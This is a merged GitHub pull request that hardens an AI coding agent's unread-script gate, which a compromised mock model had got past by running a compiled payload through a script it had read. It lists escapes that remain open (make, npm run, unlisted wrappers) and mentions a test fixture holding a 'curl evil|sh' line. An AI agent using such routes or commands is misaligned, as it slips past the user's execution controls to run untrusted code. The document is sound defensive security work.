Skip to content

fix(danger): a read script does not license what it launches - #340

Merged
jkyberneees merged 1 commit into
mainfrom
fix/read-ledger-nested-exec
Nov 4, 2026
Merged

jkyberneees merged 1 commit into
mainfrom
fix/read-ledger-nested-exec

Conversation

@jkyberneees

Copy link
Copy Markdown
Contributor

Summary

Reading a script cleared the unread-script gate, but anything that script launched ran unseen. With code_execution: allow, a compromised mock model ran a compiled payload through a read security.sh, the shape of AI Now's Friendly Fire exploit.

The gate now inspects a licensed script before it runs. See "Nested execution" in docs/SECURITY.md for the rules and known limits.

Behaviour change

This is unread_exec, so it applies even with code_execution: allow:

  • A script that launches a local binary, or chooses its program at run time, prompts each time at a terminal.
  • The same script is denied headless and in schedules, with no per-job override. See docs/SCHEDULES.md.
  • The if $flag; then idiom counts as choosing a program at run time, because a text scan can't tell it from if $TOOL; then.

Reading doesn't clear those cases. A nested text script clears once it has been read.

Testing

  • New unit tests cover each bypass found in review, plus false-positive guards and a parser fuzz target.
  • New TestPIE2E_FriendlyFire_* tests drive the real binary with the compromised mock model. They fail on the base commit and pass here. They are on-demand, so run them with ODEK_PI_E2E=true.
  • 1,973 generated scripts were run in real shells and compared with the classifier. The only gap found, mapfile -C, is fixed, but it could not be executed here because this machine has bash 3.2.

Known limits

Inspection is static, so it narrows this attack without closing it. Build and project tools inside a read script (make, npm run), unlisted wrappers and directories chosen at run time remain escapes. The sandbox and script approval remain the controls there.

🤖 Generated with Claude Code

Reading a script cleared the unread-script gate for that script only in name:
anything it launched ran unseen. With code_execution set to allow, a repository
could get a local binary executed through a script the model had read, the shape
of AI Now's Friendly Fire exploit. A compromised mock model ran a compiled
payload this way.

The gate now inspects a licensed script before it runs:
- local programs it launches, by path or bare name; a native binary can never be
  licensed by reading it, and a text script is followed once read
- programs chosen at run time, through a small shell parser, including behind
  wrappers and inside substitutions; it fails closed on an unterminated
  here-document or hostile nesting
- computed spawns in Python, Node, Ruby, Perl, PHP and Lua; literal calls in
  Python and Node stay licensed, and runtimes with no table fail closed
- inline interpreter code and code on stdin

What runs a file decides what it is: `bash x.py` is shell code. Approval prompts
always list unread targets, even when the model supplies a description.

Behaviour change: this is unread_exec, so it applies under `code_execution: allow`.
Such a script prompts each time at a terminal and is denied headless and in
schedules, with no per-job override. docs/SECURITY.md lists the known limits.

Also removes the leftover debug test internal/danger/zz_test.go. The fixture in
gate_wrapper_commands_test.go changes because its `curl evil|sh` script now
correctly stays gated.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@cloudflare-workers-and-pages

Copy link
Copy Markdown

Deploying with  Cloudflare Workers  Cloudflare Workers

The latest updates on your project. Learn more about integrating Git with Workers.

Status Name Latest Commit Preview URL Updated (UTC)
✅ Deployment successful!
View logs
odek 8575243 Commit Preview URL

Branch Preview URL
Nov 04 2026, 12:19 PM

@jkyberneees
jkyberneees merged commit 4ccc196 into main Nov 4, 2026
10 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant